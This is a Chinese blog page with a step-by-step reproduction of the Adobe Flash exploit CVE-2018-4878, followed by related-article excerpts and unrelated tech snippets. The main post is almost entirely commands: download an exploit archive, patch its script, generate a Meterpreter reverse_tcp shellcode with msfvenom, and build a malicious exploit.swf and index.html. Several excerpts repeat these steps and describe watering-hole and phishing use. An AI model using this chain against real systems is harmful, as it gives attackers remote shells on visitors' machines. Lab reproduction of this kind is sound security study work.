小区保安
小区保安

cve-2018-4878

步骤过程

1.下载脚本利用

wget https://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar


2、下载安装rar解压工具

①.下载

wget https://www.rarlab.com/rar/rarlinux-x64-5.5.0.tar.gz 


②.解压

tar zxvf rarlinux-x64-5.5.0.tar.gz


③.安装

cd rar 

make

make install

3、解压脚本

解压前，先创建文件夹CVE-2018-4878

rar e CVE-2018-4878


.解压压缩文件后，可看到cve-2018-4878.py和exploit.swf。


4.修改cve-2018-4878.py

我们需要对cve-2018-4878.py进行修改，原作者将代码中的stageless变量改成了true，正确的应该改成：stageless = False。

5.查找本机ip

ifconfig


6.生成shellcode.txt

生成shellcode.txt可以查看kali的shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.130 LPORT=4444 -f python>shellcode.txt

cat shellcode.txt

查看shellcode，并替换cve-2018-4878里面原来的shellcode,修改路径


生成要用的exploit.swf和index.html

python cve-2018-4878.py






你可能感兴趣的:(cve-2018-4878)

  • CVE-2018-4887 Flash漏洞 夜间飛行 网络安全
    目录1.目的2.原理3.操作过程编辑总结1.目的由于Flash存在CVE-2018-4878这个高危漏洞，导致Windows靶机访问含flash的页面时，直接被KaliLinux控制2.原理攻击者通过构造特殊的Flash链接，当用户用浏览器/邮件/Office访问此Flash链接时，会被“远程代码执行”，并且直接被getshell。Meterpreter：一款开源的安全漏洞检测工具，可以帮助安全和
  • cve-2018-4878 小区保安
    步骤过程1.下载脚本利用wgethttps://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar2、下载安装rar解压工具①.下载wgethttps://www.rarlab.com/rar/rarlinux-x64-5.5.0.tar.gz②.解压tarzxvfrarlinux-x64-5.5.0.tar.gz③.安
  • CVE-2018-4878 Flash 0day 二潘
    1、漏洞概述2018年2月1号，Adobe官方发布安全通报（APSA18-01），声明AdobeFlash28.0.0.137及其之前的版本，存在高危漏洞（CVE-2018-4878）。攻击者通过构造特殊的Flash链接，当用户用浏览器/邮件/Office访问此Flash链接时，会被“远程代码执行”，并且直接被getshell。直到2018年2月5号，Adboe才发布补丁来修复此0day漏洞。漏洞
  • ATT&ck 入口点 —— 水坑攻击 战神/calmness ATT&CK信息安全
    目录水坑攻击盗取CookiephpstudybackdoorJSONPAdobeflashplayer28（CVE-2018-4878）Beef攻击框架水坑攻击分析并了解目标的上网活动规律，寻找目标经常访问的网站的漏洞，利用漏洞在该网站植入恶意代码（陷阱、水坑），在目标进行访问时，攻击形成。多种可能被植入的代码，包括：1.通过注入某些形式的恶意代码。例如：JavaScript、iframe、跨站脚
  • CVE-2018-4878 漏洞复现 一个小网工 笔记
    1.生成shellcodemsfvenom-pwindows/meterpreter/reverse_tcplhost=192.168.8.130lport=8888-fpython>shellcode.txtlhost的修改为自己kali平台的IP，端口号也可以自行修改2.查看shellcoderoot@kali:~#catshellcode.txt3.编辑CVE-2018-4878-maste
  • CVE-2018-4878 flash漏洞复现 Wh1te-小白
    先将cve-2018-4878拖入虚拟机中使用msfvenom生成shell代码lhost为攻击机ip地址lport为自定义端口号查看代码文件进入CVE-2018-4878-master目录，编辑CVE-2018-4878.py文件将上面msfvenom生成的代码覆盖掉原来的代码：确认CVE-2018-4878.py下面的文件信息（后面会用到，之后保存修改退出）：KaliLinux进入CVE-20
  • [漏洞复现] CVE-2018-4878 Flash 0day gshuwentao 安全
    1、漏洞概述2018年2月1号，Adobe官方发布安全通报（APSA18-01），声明AdobeFlash28.0.0.137及其之前的版本，存在高危漏洞（CVE-2018-4878）。攻击者通过构造特殊的Flash链接，当用户用浏览器/邮件/Office访问此Flash链接时，会被“远程代码执行”，并且直接被getshell。直到2018年2月5号，Adboe才发布补丁来修复此0day漏洞。2、
  • Adobe Flash零日漏洞（CVE-2018-4878）在野攻击完全分析报告 qq_27446553 钓鱼
    背景2018年1月31日，韩国计算机应急响应小组发布了一则关于AdobeFlashPlayer的0day漏洞警告，并称早在2017年11月中旬，就有黑客利用该漏洞实施有针对性的攻击。2018年2月1日，Adobe官方发布了AdobeFlashPlayer系列产品的安全通告（APSA18-01），一个最新的AdobeFlash零日漏洞被发现针对韩国地区的人员发起攻击，该0day漏洞编号为CVE-20
  • CVE-2018-4878的复现 大方子
    前言：CVE-2018-4878利用flash的漏洞来进行攻击，如果受害者的flash版本在28.0.0.137及其之前，那么攻击者可以通过诱使受害者点击链接访问特定网页来控制受害者的电脑。1漏洞影响范围FlashPlayer28.0.0.137及以前的所有版本2漏洞复现2.1测试环境攻击机：kali2017靶机：win7_x64+IE8+FLASH_player28.0.0.1372.2复现过程
  • Flash 零日漏洞复现（CVE-2018-4878） andiao1218
    项目地址：https://github.com/Sch01ar/CVE-2018-4878.git影响版本为：AdobeFlashPlayershellcode.txt获取shellcode.txt的内容┌─[root@sch01ar]─[~]└──╼#catshellcode.txt把shellcode.txt里的内容替换cve-2018-4878.py中的shellcode内容运行exp┌─[
  • Flash cve-2018-4878漏洞复现 过云 shellwebwindowspythonlinux
    需要flash版本<=28，ie浏览器内核，有点鸡肋，但是可以打包到excel中，用的好也有奇效。本文讲解webflash钓鱼需要工具:flash安装包<=28版本web服务器kali+python利用脚本复现：先用kali生成一个shellcode文本打开复制全部下载python脚本https://github.com/anbai-inc/CVE-2018-4878把生成脚本里面的buf变量替换
  • Flash漏洞（CVE-2018-4878 ）复现 安徽锋刃科技 安全
    简介攻击者通过构造特殊的Flash链接，当用户用浏览器/邮件/Office访问此Flash链接时，会被“远程代码执行”，并且直接被getshell。影响版本FlashPlayer28.0.0.137及以前的所有版本漏洞复现使用msfvenom生成shell代码生成代码，其中lhost为kali的ip地址，lport为自定义的端口号msfvenom-pwindows/meterpreter/reve
  • [漏洞复现]Adobe flash player 28（CVE-2018-4878） sunnnnnnnnnny
    攻击者通过构造特殊的Flash链接，当用户用浏览器/邮件/Office访问此Flash链接时，会被“远程代码执行”，并且直接被getshell。环境：渗透机KaliLinuxip:192.168.43.177靶机Windows7sp1192.168.43.196exp：cve-2018-4878.py来自https://github.com/HuanWoWeiLan/SoftwareSystemS
  • cve-2018-4878漏洞复现 TK13的舔狗 漏洞复现
    靶机：Windows7sp1条件：AdobeFlash28.0.0.137及其之前的版本IE8浏览器及以前版本（IE9好像也行）所需工具已上传kali：192.168.43.16（需要输入的命令均用不需要输入）准备工作：kali中打开终端，找到下载的cve-2018-4878工具，切换到该路径（这种工具在未来应该尽量由自己写出来）shellcode.txt>生成shellcode.txt可以查看k
  • Flash 0day漏洞复现 CVE-2018-4878 张德亮 漏洞复现
    一.环境搭建攻击机：kaliip:192.168.43.79靶机:windows7旗舰版IE8adobeflashplayer28.0.0.1371.adobeflashplayer28.0.0.137安装百度adobeflashplayerforie28进行下载，双击运行安装查看版本方法:百度视频，随便点击一个视频，右键2.下载exp,链接:https://github.com/anbai-in
  • Flash 0day漏洞复现 CVE-2018-4878 张德亮 漏洞复现
    一.环境搭建攻击机：kaliip:192.168.43.79靶机:windows7旗舰版IE8adobeflashplayer28.0.0.1371.adobeflashplayer28.0.0.137安装百度adobeflashplayerforie28进行下载，双击运行安装查看版本方法:百度视频，随便点击一个视频，右键2.下载exp,链接:https://github.com/anbai-in
  • Adobe Flash cve-2018-4878 的漏洞复现 Snow狼 metasploitcve2018CVE
    漏洞概述2018年2月1日，Adobe官方发布了AdobeFlashPlayer系列产品的安全通告（APSA18-01），该0day漏洞编号为CVE-2018-4878，目前最新版本28.0.0.137及其以前版本的AdobeFlashPlayer均受漏洞影响，Adobe官方于2月5日发布此漏洞补丁。gongji者可以将恶意Flash文件嵌入Office文档，网页，或者桌面应用，当用户打开时便会受
  • [漏洞复现] CVE-2018-4878 Flash 0day 陈鑫杰 ******测试Kali网络安全与***测试
    1、漏洞概述2018年2月1号，Adobe官方发布安全通报（APSA18-01），声明AdobeFlash28.0.0.137及其之前的版本，存在高危漏洞（CVE-2018-4878）。***者通过构造特殊的Flash链接，当用户用浏览器/邮件/Office访问此Flash链接时，会被“远程代码执行”，并且直接被getshell。直到2018年2月5号，Adboe才发布补丁来修复此0day漏洞。互
  • 数据采集高并发的架构应用 3golden .net
    问题的出发点：          最近公司为了发展需要，要扩大对用户的信息采集，每个用户的采集量估计约2W。如果用户量增加的话，将会大量照成采集量成3W倍的增长，但是又要满足日常业务需要，特别是指令要及时得到响应的频率次数远大于预期。       &n
  • 不停止 MySQL 服务增加从库的两种方式 brotherlamp linuxlinux视频linux资料linux教程linux自学
    现在生产环境MySQL数据库是一主一从，由于业务量访问不断增大，故再增加一台从库。前提是不能影响线上业务使用，也就是说不能重启MySQL服务，为了避免出现其他情况，选择在网站访问量低峰期时间段操作。  一般在线增加从库有两种方式，一种是通过mysqldump备份主库，恢复到从库，mysqldump是逻辑备份，数据量大时，备份速度会很慢，锁表的时间也会很长。另一种是通过xtrabacku
  • Quartz——SimpleTrigger触发器 eksliang SimpleTriggerTriggerUtilsquartz
    转载请出自出处：http://eksliang.iteye.com/blog/2208166 一.概述 SimpleTrigger触发器，当且仅需触发一次或者以固定时间间隔周期触发执行；   二.SimpleTrigger的构造函数 SimpleTrigger(String name, String group)：通过该构造函数指定Trigger所属组和名称； Simpl
  • Informatica应用（1） 18289753290 sqlworkflowlookup组件Informatica
    1.如果要在workflow中调用shell脚本有一个command组件，在里面设置shell的路径；调度wf可以右键出现schedule，现在用的是HP的tidal调度wf的执行。 2.designer里面的router类似于SSIS中的broadcast（多播组件）;Reset_Workflow_Var：参数重置 （比如说我这个参数初始是1在workflow跑得过程中变成了3我要在结束时还要
  • python 获取图片验证码中文字 酷的飞上天空 python
    根据现成的开源项目 http://code.google.com/p/pytesser/改写 在window上用easy_install安装不上  看了下源码发现代码很少  于是就想自己改写一下   添加支持网络图片的直接解析   #coding:utf-8 #import sys #reload(sys) #sys.s
  • AJAX 永夜-极光 Ajax
    1.AJAX功能:动态更新页面,减少流量消耗,减轻服务器负担   2.代码结构:    <html> <head> <script type="text/javascript"> function loadXMLDoc() { .... AJAX script goes here ...
  • 创业OR读研 随便小屋 创业
            现在研一，有种想创业的想法，不知道该不该去实施。因为对于的我情况这两者是矛盾的，可能就是鱼与熊掌不能兼得。                研一的生活刚刚过去两个月，我们学校主要的是
  • 需求做得好与坏直接关系着程序员生活质量 aijuans IT 生活
            这个故事还得从去年换工作的事情说起，由于自己不太喜欢第一家公司的环境我选择了换一份工作。去年九月份我入职现在的这家公司，专门从事金融业内软件的开发。十一月份我们整个项目组前往北京做现场开发，从此苦逼的日子开始了。        系统背景：五月份就有同事前往甲方了解需求一直到6月份，后续几个月也完
  • 如何定义和区分高级软件开发工程师 aoyouzi
    在软件开发领域，高级开发工程师通常是指那些编写代码超过 3 年的人。这些人可能会被放到领导的位置，但经常会产生非常糟糕的结果。Matt Briggs 是一名高级开发工程师兼 Scrum 管理员。他认为，单纯使用年限来划分开发人员存在问题，两个同样具有 10 年开发经验的开发人员可能大不相同。近日，他发表了一篇博文，根据开发者所能发挥的作用划分软件开发工程师的成长阶段。 　　初
  • Servlet的请求与响应 百合不是茶 servletget提交java处理post提交
      Servlet是tomcat中的一个重要组成,也是负责客户端和服务端的中介     1,Http的请求方式(get  ,post);   客户端的请求一般都会都是Servlet来接受的,在接收之前怎么来确定是那种方式提交的,以及如何反馈,Servlet中有相应的方法,  http的get方式 servlet就是都doGet(
  • web.xml配置详解之listener bijian1013 javaweb.xmllistener
    一.定义 <listener> <listen-class>com.myapp.MyListener</listen-class> </listener>   二.作用        该元素用来注册一个监听器类。可以收到事件什么时候发生以及用什么作为响
  • Web页面性能优化（yahoo技术） Bill_chen JavaScriptAjaxWebcssYahoo
    1.尽可能的减少HTTP请求数 content 2.使用CDN server 3.添加Expires头(或者 Cache-control) server 4.Gzip 组件 server 5.把CSS样式放在页面的上方。 css 6.将脚本放在底部(包括内联的) javascript 7.避免在CSS中使用Expressions css 8.将javascript和css独立成外部文
  • 【MongoDB学习笔记八】MongoDB游标、分页查询、查询结果排序 bit1129 mongodb
    游标   游标，简单的说就是一个查询结果的指针。游标作为数据库的一个对象，使用它是包括 声明 打开 循环抓去一定数目的文档直到结果集中的所有文档已经抓取完 关闭游标   游标的基本用法，类似于JDBC的ResultSet(hasNext判断是否抓去完,next移动游标到下一条文档)，在获取一个文档集时，可以提供一个类似JDBC的FetchSize
  • ORA-12514 TNS 监听程序当前无法识别连接描述符中请求服务 的解决方法 白糖_ ORA-12514
    今天通过Oracle SQL*Plus连接远端服务器的时候提示“监听程序当前无法识别连接描述符中请求服务”，遂在网上找到了解决方案： ①打开Oracle服务器安装目录\NETWORK\ADMIN\listener.ora文件，你会看到如下信息：   # listener.ora Network Configuration File: D:\database\Oracle\net
  • Eclipse 问题 A resource exists with a different case bozch eclipse
    在使用Eclipse进行开发的时候，出现了如下的问题： Description Resource Path Location TypeThe project was not built due to "A resource exists with a different case: '/SeenTaoImp_zhV2/bin/seentao'.&
  • 编程之美-小飞的电梯调度算法 bylijinnan 编程之美
    public class AptElevator { /** * 编程之美 小飞 电梯调度算法 * 在繁忙的时间，每次电梯从一层往上走时，我们只允许电梯停在其中的某一层。 * 所有乘客都从一楼上电梯，到达某层楼后，电梯听下来，所有乘客再从这里爬楼梯到自己的目的层。 * 在一楼时，每个乘客选择自己的目的层，电梯则自动计算出应停的楼层。 * 问：电梯停在哪
  • SQL注入相关概念 chenbowen00 sqlWeb安全
    SQL Injection：就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。 具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。 首先让我们了解什么时候可能发生SQ
  • [光与电]光子信号战防御原理 comsci 原理
          无论是在战场上,还是在后方,敌人都有可能用光子信号对人体进行控制和攻击,那么采取什么样的防御方法,最简单,最有效呢?       我们这里有几个山寨的办法,可能有些作用,大家如果有兴趣可以去实验一下       根据光
  • oracle 11g新特性:Pending Statistics daizj oracledbms_stats
    oracle 11g新特性:Pending Statistics 转 从11g开始，表与索引的统计信息收集完毕后，可以选择收集的统信息立即发布，也可以选择使新收集的统计信息处于pending状态，待确定处于pending状态的统计信息是安全的，再使处于pending状态的统计信息发布，这样就会避免一些因为收集统计信息立即发布而导致SQL执行计划走错的灾难。 在 11g 之前的版本中，D
  • 快速理解RequireJs dengkane jqueryrequirejs
    RequireJs已经流行很久了，我们在项目中也打算使用它。它提供了以下功能： 声明不同js文件之间的依赖 可以按需、并行、延时载入js库 可以让我们的代码以模块化的方式组织 初看起来并不复杂。 在html中引入requirejs 在HTML中，添加这样的 <script> 标签： <script src="/path/to
  • C语言学习四流程控制if条件选择、for循环和强制类型转换 dcj3sjt126com c
    # include <stdio.h> int main(void) { int i, j; scanf("%d %d", &i, &j); if (i > j) printf("i大于j\n"); else printf("i小于j\n"); retu
  • dictionary的使用要注意 dcj3sjt126com IO
    NSDictionary *dict = [NSDictionary dictionaryWithObjectsAndKeys: user.user_id , @"id", user.username , @"username",
  • Android 中的资源访问(Resource) finally_m xmlandroidStringdrawablecolor
    简单的说，Android中的资源是指非代码部分。例如，在我们的Android程序中要使用一些图片来设置界面，要使用一些音频文件来设置铃声，要使用一些动画来显示特效，要使用一些字符串来显示提示信息。那么，这些图片、音频、动画和字符串等叫做Android中的资源文件。 在Eclipse创建的工程中，我们可以看到res和assets两个文件夹，是用来保存资源文件的，在assets中保存的一般是原生
  • Spring使用Cache、整合Ehcache 234390216 springcacheehcache@Cacheable
    Spring使用Cache            从3.1开始，Spring引入了对Cache的支持。其使用方法和原理都类似于Spring对事务管理的支持。Spring Cache是作用在方法上的，其核心思想是这样的：当我们在调用一个缓存方法时会把该方法参数和返回结果作为一个键值对存放在缓存中，等到下次利用同样的
  • 当druid遇上oracle blob(clob) jackyrong oracle
    http://blog.csdn.net/renfufei/article/details/44887371 众所周知，Oracle有很多坑, 所以才有了去IOE。 在使用Druid做数据库连接池后，其实偶尔也会碰到小坑，这就是使用开源项目所必须去填平的。【如果使用不开源的产品，那就不是坑，而是陷阱了，你都不知道怎么去填坑】 用Druid连接池，通过JDBC往Oracle数据库的
  • easyui datagrid pagination获得分页页码、总页数等信息 ldzyz007
    var grid = $('#datagrid');  var options = grid.datagrid('getPager').data("pagination").options;  var curr = options.pageNumber;  var total = options.total;  var max =
  • 浅析awk里的数组 nigelzeng 二维数组array数组awk
    awk绝对是文本处理中的神器，它本身也是一门编程语言，还有许多功能本人没有使用到。这篇文章就单单针对awk里的数组来进行讨论，如何利用数组来帮助完成文本分析。   有这么一组数据：   abcd,91#31#2012-12-31 11:24:00 case_a,136#19#2012-12-31 11:24:00 case_a,136#23#2012-12-31 1
  • 搭建 CentOS 6 服务器(6) - TigerVNC rensanning centos
    安装GNOME桌面环境 # yum groupinstall "X Window System" "Desktop" 安装TigerVNC # yum -y install tigervnc-server tigervnc 启动VNC服务 # /etc/init.d/vncserver restart # vncser
  • Spring 数据库连接整理 tomcat_oracle springbeanjdbc
    1、数据库连接jdbc.properties配置详解 　　jdbc.url=jdbc:hsqldb:hsql://localhost/xdb 　　jdbc.username=sa 　　jdbc.password= 　　jdbc.driver=不同的数据库厂商驱动，此处不一一列举 　　接下来，详细配置代码如下： 　　 Spring连接池    
  • Dom4J解析使用xpath java.lang.NoClassDefFoundError: org/jaxen/JaxenException异常 xp9802
    用Dom4J解析xml,以前没注意,今天使用dom4j包解析xml时在xpath使用处报错      异常栈：java.lang.NoClassDefFoundError: org/jaxen/JaxenException异常       导入包 jaxen-1.1-beta-6.jar 解决; &nb
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他